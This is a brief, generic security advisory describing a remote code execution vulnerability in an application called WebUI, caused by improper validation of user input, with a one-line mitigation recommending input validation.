A remote code execution vulnerability exists in WebUI due to improper validation of user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable application. This can allow the attacker to execute arbitrary code on the vulnerable system.

Mitigation:

Input validation should be performed to ensure that untrusted input is not used to execute arbitrary code.
